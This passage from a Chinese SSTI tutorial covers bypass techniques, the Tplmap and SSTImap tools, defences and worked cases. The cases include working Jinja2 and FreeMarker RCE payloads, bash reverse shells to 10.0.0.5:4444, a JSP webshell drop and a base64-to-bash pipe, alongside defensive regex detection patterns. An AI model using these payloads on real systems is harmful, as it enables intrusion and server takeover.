获取配置{{config}}{{app.request...}}$smarty.config${.globals}$context

十一、SSTI 绕过技巧

11.1 关键字过滤绕过

当 WAF 或代码过滤了 os、popen、system 等关键字时,可用以下技巧绕过。

绕过技巧适用场景示例(Jinja2)示例(Twig)
字符串拼接关键字过滤{{lipsum.__globals__['o'+'s']...}}{{(['o','s']|join)}}
十六进制编码关键字过滤{{lipsum.__globals__['\x6fs']...}}{{(['\x6f','s']|join)}}
base64 解码关键字过滤(需解码函数){{('b3M='|b64decode)}}
request 取值引号过滤{{lipsum.__globals__[request.args.a]}}{{app.request.query.all()}}
chr 构造引号过滤chr 拼接chr 拼接
大小写混淆部分过滤(Python 区分大小写,无效)(PHP 部分函数不区分)
注释插入关键字过滤o/**/so/* */s

11.2 字符过滤绕过

被过滤字符绕过方式示例
.(点号)中括号 []config['SECRET_KEY']
.(点号)attr() 过滤器config|attr('SECRET_KEY')
_(下划线)十六进制 \x5f\x5f\x5fclass\x5f\x5f
'(单引号)双引号 "config["SECRET_KEY"]
"(双引号)request 取值config[request.args.x]
{{{% %} 控制结构{% set x=... %}{{ x }}
{{#{ }(部分引擎)-
()(括号)request 取值(复杂,需具体情况分析)
数字字符串运算'a'*0、'a'[-1]

11.3 沙箱绕过

绕过技巧适用引擎原理
attr() 过滤器Jinja2绕过点号过滤,访问属性
__globals__ 访问Jinja2获取全局命名空间
__mro__ 链Jinja2遍历方法解析顺序找可用类
request 对象Jinja2/Flask携带敏感数据
lipsum 全局Jinja2内置函数含 os 模块
cycler 全局Jinja2内置类含 os
namespace 全局Jinja2内置类含 os
map/filter 过滤器Twig间接调用系统函数
source 函数Twig读取文件
Execute 类FreeMarker直接执行命令
ObjectConstructorFreeMarker构造任意对象
反射Velocity/JavaRuntime.exec
include 标签Smarty包含文件执行

11.4 WAF 绕过技巧适用场景表

WAF 规则绕过方式适用引擎示例
拦截 {{使用 {% %}Jinja2/Twig{% set x=7*7 %}{{ x }}
拦截 {{使用 ${}FreeMarker${7*7}
拦截 os字符串拼接Jinja2'o'+'s'
拦截 os十六进制Jinja2'\x6fs'
拦截 __十六进制Jinja2'\x5f\x5f'
拦引号request 取值Jinja2request.args.x
拦 system替换函数Twigmap('exec')
拦空格${IFS}Shell 层cat${IFS}/etc/passwd
拦关键字base64 解码通用echo aWQ=|base64 -d|bash
URL 编码双重编码HTTP 层%257b%257b

十二、SSTI 自动化利用工具

12.1 Tplmap 完整使用指南

# 1. 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# 2. 基础检测(* 标记注入点)
python tplmap.py -u 'http://target.com/page?name=*'

# 3. 获取 os-shell(交互式命令执行)
python tplmap.py -u 'http://target.com/page?name=*' --os-shell

# 4. 执行单条命令
python tplmap.py -u 'http://target.com/page?name=*' --os-cmd 'whoami'

# 5. POST 方式
python tplmap.py -u 'http://target.com/login' --data 'username=*&password=123'

# 6. 指定引擎(加速)
python tplmap.py -u 'http://target.com/page?name=*' --engine jinja2

# 7. 上传文件
python tplmap.py -u 'http://target.com/page?name=*' --file-upload ./shell.py /tmp/shell.py

# 8. 通过 Burp 代理
python tplmap.py -u 'http://target.com/page?name=*' --proxy 'http://127.0.0.1:8080'

# 9. 使用模板
python tplmap.py -u 'http://target.com/page?name=*' --tpl-code '{{7*7}}'

# 10. 绕过技术
python tplmap.py -u 'http://target.com/page?name=*' --engine jinja2 --tpl-code '{{7*7}}'

12.2 SSTImap 完整使用指南

# 1. 安装
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt

# 2. 基础检测
python sstimap.py -u 'http://target.com/page?name=test'

# 3. 获取交互式 shell
python sstimap.py -u 'http://target.com/page?name=test' --os-shell

# 4. 执行命令
python sstimap.py -u 'http://target.com/page?name=test' --os-cmd 'id'

# 5. 上传文件
python sstimap.py -u 'http://target.com/page?name=test' --file-upload ./shell.py /tmp/shell.py

# 6. 使用模板代码
python sstimap.py -u 'http://target.com/page?name=test' --tpl-code '{{7*7}}'

# 7. 绕过 WAF
python sstimap.py -u 'http://target.com/page?name=test' --tamper urlencode

# 8. POST 方式
python sstimap.py -u 'http://target.com/login' --data 'user=test&pass=*'

12.3 工具功能对比表

功能TplmapSSTImapBurp 插件
多引擎支持是(7+引擎)是(5+引擎)部分
自动检测是是是
os-shell是是否
文件上传是是否
WAF 绕过部分是否
POST 支持是是是
Cookie 支持是是是
代理支持是是原生
维护状态停更活跃各异
Python 3 支持是是N/A
模板定制是是部分
报告生成否否是

十三、SSTI 防御方案

13.1 沙箱模式配置示例

各引擎的沙箱配置代码示例:

引擎沙箱配置代码说明
Jinja2SandboxedEnvironment沙箱环境
Twig$twig = new Twig_Environment($loader, ['sandbox' => true])启用沙箱
Smarty$smarty->enableSecurity()启用安全策略
FreeMarkercfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)限制类加载
VelocitySecureUberspector安全反射器

Jinja2 沙箱配置:

from jinja2 import SandboxedEnvironment, ImmutableSandboxedEnvironment

# 方式 1:基础沙箱
env = SandboxedEnvironment()
template = env.from_string(user_template)

# 方式 2:不可变沙箱(更严格)
env = ImmutableSandboxedEnvironment()
template = env.from_string(user_template)

# 方式 3:自定义安全策略
class SafeEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr, value):
        # 只允许访问白名单属性
        allowed = ['name', 'email', 'id']
        return attr in allowed
    
    def is_safe_callable(self, obj):
        # 禁止调用危险函数
        return False

Twig 沙箱配置:

$tags = ['if', 'for'];
$filters = ['upper', 'lower', 'trim'];
$methods = [];
$properties = [];
$functions = ['range'];

$policy = new Twig\Sandbox\SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);

13.2 输入与模板分离(对比代码)

这是 SSTI 防御的核心原则:永远不要把用户输入拼接到模板字符串中。

# 危险代码:直接拼接(存在 SSTI)
@app.route('/bad')
def bad():
    name = request.args.get('name', '')
    template = '<h1>Hello ' + name + '</h1>'  # 危险!
    return render_template_string(template)

# 安全代码:使用参数化模板
@app.route('/good')
def good():
    name = request.args.get('name', '')
    # 模板与数据分离,name 作为变量传入
    return render_template_string('<h1>Hello {{ name }}</h1>', name=name)

# 安全代码:使用模板文件(更佳)
@app.route('/best')
def best():
    name = request.args.get('name', '')
    return render_template('greet.html', name=name)

13.3 安全配置

引擎安全配置项配置方式
Jinja2使用 SandboxedEnvironmentenv = SandboxedEnvironment()
Jinja2禁用 autoescape 风险仅在可信内容关闭
Twig启用 sandbox 扩展$twig->addExtension(new \Twig\Extension\SandboxExtension($policy))
Smarty启用 security$smarty->enableSecurity('Smarty_Security')
FreeMarker限制类解析cfg.setNewBuiltinClassResolver(SAFER_RESOLVER)
FreeMarker禁用 API 访问cfg.setAPIBuiltinEnabled(false)
Velocity使用 SecureUberspectorruntime.introspector.uberspect=org.apache.velocity.util.introspection.SecureUberspector
Pebble启用 Sandboxnew PebbleEngine.Builder().extension(new SandboxExtension())

13.4 输入校验

import re

# 白名单校验:只允许字母数字和有限符号
def sanitize_template_input(user_input):
    # 只允许字母、数字、下划线、连字符、空格
    if not re.match(r'^[a-zA-Z0-9_\-\s]+$', user_input):
        raise ValueError('Invalid input: only alphanumeric characters allowed')
    return user_input

# 长度限制
def validate_input_length(user_input, max_length=100):
    if len(user_input) > max_length:
        raise ValueError(f'Input too long, max {max_length} characters')
    return user_input

# 黑名单检测:检测 SSTI 特征字符
SSTI_PATTERNS = [
    r'\{\{.*\}\}',           # Jinja2/Twig
    r'\$\{.*\}',             # FreeMarker/Mako
    r'<%=.*%>',              # ERB
    r'#\{.*\}',              # Ruby/Smarty
    r'\{if.*\}',             # Smarty if
    r'__class__',            # Jinja2 魔术方法
    r'__globals__',          # Jinja2 全局
    r'__mro__',             # Jinja2 MRO
    r'__subclasses__',       # Jinja2 子类
]

def detect_ssti(user_input):
    for pattern in SSTI_PATTERNS:
        if re.search(pattern, user_input, re.IGNORECASE):
            raise ValueError(f'SSTI pattern detected: {pattern}')
    return user_input

# 组合校验
def safe_template_input(user_input):
    user_input = validate_input_length(user_input)
    user_input = detect_ssti(user_input)
    user_input = sanitize_template_input(user_input)
    return user_input

十四、实战案例

14.1 案例 1:Flask Jinja2 获取 Shell

目标环境: 某 Flask 应用存在 SSTI,/page?name= 参数可注入。

步骤 1:检测注入

GET /page?name={{7*7}}

响应:<h1>Welcome 49</h1>

步骤 2:确认引擎

GET /page?name={{7*'7'}}

响应:<h1>Welcome 7777777</h1>,确认 Jinja2。

步骤 3:信息收集

GET /page?name={{config}}

响应泄露 SECRET_KEY: 'super-secret-key-123'、DEBUG: True 等敏感配置。

GET /page?name={{request.environ}}

获取主机名、内部 IP、Python 版本等信息。

步骤 4:命令执行

GET /page?name={{lipsum.__globals__.os.popen('id').read()}}

响应:uid=1001(flask) gid=1001(flask) groups=1001(flask)

步骤 5:权限提升探测

GET /page?name={{lipsum.__globals__.os.popen('sudo -l').read()}}

发现可 sudo 执行 /usr/bin/find,准备提权。

步骤 6:反弹 shell

攻击者监听:

nc -lvnp 4444

目标执行:

GET /page?name={{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"').read()}}

获取交互式 shell,完成渗透。

14.2 案例 2:FreeMarker 命令执行

目标环境: 某 Java Web 应用使用 FreeMarker,/render?template= 参数可注入模板内容。

步骤 1:检测注入

GET /render?template=${7*7}

响应:49,确认 SSTI。

步骤 2:确认引擎

报错信息含 freemarker.core.TemplateException,确认 FreeMarker。

步骤 3:命令执行

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}

响应:uid=1000(tomcat) gid=1000(tomcat)

步骤 4:信息收集

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("cat /etc/passwd")}

读取系统用户信息。

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("hostname")}

获取主机名。

步骤 5:写入 webshell

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("echo '<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>' > /opt/tomcat/webapps/ROOT/shell.jsp")}

步骤 6:连接 webshell

访问 http://target.com/shell.jsp?cmd=id,执行命令。

利用完成。

14.3 案例 3:绕过过滤实现 RCE

目标环境: 某 Flask 应用存在 SSTI,但过滤了 {{、os、popen、__ 等关键字。

步骤 1:检测注入(绕过 {{ 过滤)

由于 {{ 被过滤,使用 {% %} 控制结构:

GET /page?name={% if 7*7 == 49 %}vuln{% endif %}

响应包含 vuln,确认 SSTI 存在但 {{ 被过滤。

步骤 2:绕过 __ 过滤

__ 被过滤,使用十六进制编码 \x5f\x5f:

GET /page?name={% set x = ''|attr('\x5f\x5fclass\x5f\x5f') %}{% if x %}found{% endif %}

响应 found,绕过成功。

步骤 3:绕过 os、popen 过滤

使用字符串拼接 + request 取值:

GET /page?name={% set g = lipsum|attr('\x5f\x5fglobals\x5f\x5f') %}{% set o = g[request.args.a] %}{% set p = o|attr(request.args.b) %}{% set r = p(request.args.c).read() %}{{ r }}&a=os&b=popen&c=id

URL 编码后:

GET /page?name=%7B%25%20set%20g%20%3D%20lipsum%7Cattr(%27\x5f\x5fglobals\x5f\x5f%27)%20%25%7D%7B%25%20set%20o%20%3D%20g%5Brequest.args.a%5D%20%25%7D%7B%25%20set%20p%20%3D%20o%7Cattr(request.args.b)%20%25%7D%7B%25%20set%20r%20%3D%20p(request.args.c).read()%20%25%7D%7B%7B%20r%20%7D%7D&a=os&b=popen&c=id

响应:uid=1001(flask) gid=1001(flask),绕过成功,RCE 实现。

步骤 4:反弹 shell

GET /page?name={% set g = lipsum|attr('\x5f\x5fglobals\x5f\x5f') %}{% set o = g[request.args.a] %}{% set p = o|attr(request.args.b) %}{{ p(request.args.c).read() }}&a=os&b=popen&c=bash -c "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"

获取 shell,绕过完成。

【提示】 绕过的核心思路是:用「等价表示」替代「被过滤字符」。十六进制替代下划线、request 取值替代引号、字符串拼接替代关键字、控制结构替代表达式符号。掌握这些等价变换,几乎可以绕过所有过滤。

十五、总结与 SSTI 安全检查清单

15.1 SSTI 攻击全流程总结

SSTI 攻击遵循「检测-识别-利用-绕过-防御」五步法:

  1. 检测: 发送 {{7*7}}、${7*7} 等指纹 payload,观察数学运算是否回显
  2. 识别: 通过字符串运算特征、报错信息、响应头确定具体引擎
  3. 利用: 根据引擎选择对应 payload 链,从信息收集到命令执行再到反弹 shell
  4. 绕过: 针对过滤采用十六进制编码、字符串拼接、request 取值、控制结构等技巧
  5. 防御: 模板与数据分离、沙箱配置、输入校验、白名单机制

15.2 SSTI 安全检查清单

开发者和安全团队应按以下清单检查 SSTI 防御措施:

检查项检查内容状态
1. 模板与数据分离是否使用参数化模板,避免字符串拼接待检查
2. 用户输入不进模板用户输入是否作为数据传入,而非拼入模板字符串待检查
3. 沙箱启用是否启用引擎沙箱模式待检查
4. 危险类禁用是否禁用 Execute、ObjectConstructor 等危险类待检查
5. 输入校验是否对用户输入进行白名单校验待检查
6. 长度限制是否限制模板输入长度待检查
7. 特征字符检测是否检测 SSTI 特征字符({{、${ 等)待检查
8. WAF 规则是否配置 SSTI 防护规则待检查
9. 最小权限模板渲染进程是否以最小权限运行待检查
10. 模板审计自定义模板是否经过安全审计待检查
11. 依赖更新模板引擎是否为最新版本待检查
12. 日志监控是否监控异常模板渲染行为待检查
13. 安全测试是否进行 SSTI 专项渗透测试待检查
14. 代码审查代码审查是否覆盖模板渲染逻辑待检查
15. 应急响应是否具备 SSTI 漏洞应急响应预案待检查

15.3 各引擎防御速查

引擎核心防御措施
Jinja2SandboxedEnvironment + 参数化模板 + 输入校验
Twigsandbox 扩展 + SecurityPolicy + 参数化
SmartyenableSecurity() + 白名单标签 + 参数化
FreeMarkerSAFER_RESOLVER + 禁用 API + 参数化
VelocitySecureUberspector + 反射限制 + 参数化
Mako输入校验 + 限制模板内容 + 参数化
PebbleSandbox 扩展 + 限制反射 + 参数化

15.4 结语

SSTI 是一种危害极高的 Web 漏洞,一次注入即可导致服务器沦陷。本文系统梳理了主流模板引擎的 SSTI 攻击全流程,从原理、检测、利用、绕过到防御,覆盖了实战中的关键环节。对于红队人员,掌握各引擎的 payload 链和绕过技巧是渗透的核心能力;对于防守方,理解攻击原理并落实「模板与数据分离」这一根本原则,是防御 SSTI 的关键。

【合规声明】 再次提醒:本文所有技术内容仅供安全学习、授权测试与防御研究。未经授权测试他人系统属违法行为。安全技术的终极目的是守护,请始终在合法合规的框架内运用所学知识。

参考资源:

  • PayloadAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
  • Tplmap: https://github.com/epinna/tplmap
  • SSTImap: https://github.com/vladko312/SSTImap
  • PortSwigger SSTI: https://portswigger.net/web-security/server-side-template-injection
  • OWASP SSTI: https://owasp.org/www-community/attacks/Server_Side_Template_Injection

更多推荐